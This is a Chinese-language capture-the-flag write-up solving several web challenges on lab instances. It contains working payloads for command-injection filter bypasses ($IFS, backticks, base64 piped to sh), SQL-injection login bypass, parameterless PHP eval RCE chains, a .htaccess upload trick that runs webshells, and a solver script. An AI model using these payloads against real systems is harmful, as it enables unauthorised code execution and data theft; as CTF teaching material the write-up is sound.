根据题名,和这个/?ip=
就知道是个命令执行题了,ping一下看看
接下来ls一下看看
发现有flag.php和index.php两个文件,那就cat它们一下看看
这里发现空格被ban了,回显fxck your space!,这里可以用$IFS$9
进行绕过,得到index.php的内容
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "
";
print_r($a);
}
发现flag连在一起的话也会被ban,导致这里无法直接读取 flag.php,然后就有一大堆花样操作了,首先就是
变量拼接
?ip=127.0.0.1;q=lag;cat$IFS$9f$q.php
内联执行
?ip=127.0.0.1;cat$IFS$9`ls`
内联执行就是把反引号的命令的输出当作输入执行
用sh
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
一个登陆框,试了一下根据回显判断用户名是admin
admin'
报错
万能密码admin' or 1=1 #
得到回显
测试之后发现是小写的or
和=
被ban了,查下字段
admin'Order by 4#
,报错,存在3个字段
本来想看数据库的,但是(
和)
都被ban了,发现search.php里面有一段字符串base32->base64之后得到
select * from user where username = '$name'
这个题目也是有点坑,BUU有一个hint没有传上来,原题是说了密码时md5加密的,这里利用union查询并不存在的数据时,就会构造一个虚拟的数据,这个登录的判断过程应该是在登录的时候先查询用户名对不对,再查询密码对不对,这里在用户名框先输入一个不存在的用户名,然后输入我们构造的密码就可以成功登陆了,也就是payload
qqq'unIon Select 1,'admin','c4ca4238a0b923820dcc509a6f75849b'#
1
备份文件扫描到.git/config
,.git源码泄露
,用Githack.py把源码下载下来,注意用python2
python2 Githack.py http://9eaddafb-6e0f-46a7-83a6-02ea1b554888.node3.buuoj.cn/.git/
得到index.php
include "flag.php"; //有一个flag.php
echo "flag在哪里呢?
";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
//过滤掉了很多伪协议
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
/*
无参数RCE,限制输入只能为两种
a(b(c()));
a();
*/
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
//过滤了一些关键字,很多函数用不了
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
有一个flag.php,现在也不能拿到shell,只有读取flag.php文件
首先就是读取文件了,因为et被ban了,所以用不了file_get_contents()
了,但是可以用readfile()
和highlight_file()
和show_source()
print_r(scandir('.'))
查看目录,下一步,构造.
,这里用到localeconv()
函数
localeconv() 函数返回一包含本地数字及货币格式信息的数组,而数组第一项就是.
再用current()
函数,初始指向插入到数组中的第一个元素,也就是默认指向.
,也可以用current()
函数的别名pos()
现在就可以看得到目录的内容了,print_r(scandir(pos(localeconv())));
注意要加分号,因为最后执行的是eval($_GET[‘exp’]);
然后就是想办法怎么读到flag.php,也就是倒数第二项了,几个函数
array_reverse()
:已相反的顺序返回数组
array_flip()
:交换数组的键和值
array_rand()
:返回一个包含随机键名的数组
然后就有很多种操作了
payload1
?exp=highlight_file(next(array_reverse(scandir(pos(localeconv())))));
?exp=print_r(array_rand(array_flip(scandir(current(localeconv())))));
payload3
还有一种骚操作是用session_id(session_start())
,设置PHPSESSID的cookie为flag.php
用session_start()
告诉php使用session,php默认是不主动使用session的,再通过session_id()
得到当前的session id
文件上传题
测试发现image/jpeg可以上传,而且文件不能太大,上传的时候注意改一下
上传一个php看看
把php和phtml都给ban了,测试发现文件内的
但这个好绕过,就好了,这里我是想用Apache的文件解析漏洞,传一个
php.aa
结尾的木马,然后访问,但是没有执行,而是返回了代码,所以再传一个htaccess
文件,内容
<FilesMatch "aa">
SetHandler application/x-httpd-php
</FilesMatch>
意思是把aa当作php文件执行,但这里也不需要设置这个aa了,随便传一个什么123.aa,不用123.php.aa,因为没用到Apache的文件解析漏洞
# -*- coding: utf-8 -*-
import requests
import re
import time
url = "http://324d5a76-f2d1-4a53-9e68-b94654223b38.node3.buuoj.cn/"
s = requests.session() #会话保持
source = s.get(url)
equation = re.findall(r'\d+.[+-].\d+', source.text) #算式正则
asw = eval(equation[0])
s.post(url,data={"answer":asw})
for i in range(0,1010):
equation = re.findall(r'\d+.[+-].\d+', source.text) #算式正则
asw = eval(equation[0])
print(asw,i)#运行的时候看的见效果
source = s.post(url,data={"answer":asw})
time.sleep(0.01)
print(source.text)
注意sleep一下,不然题目环境会出问题,请求太快了,跑完就得到flag了,设置1010是防止出错了,但原则上是不会出错的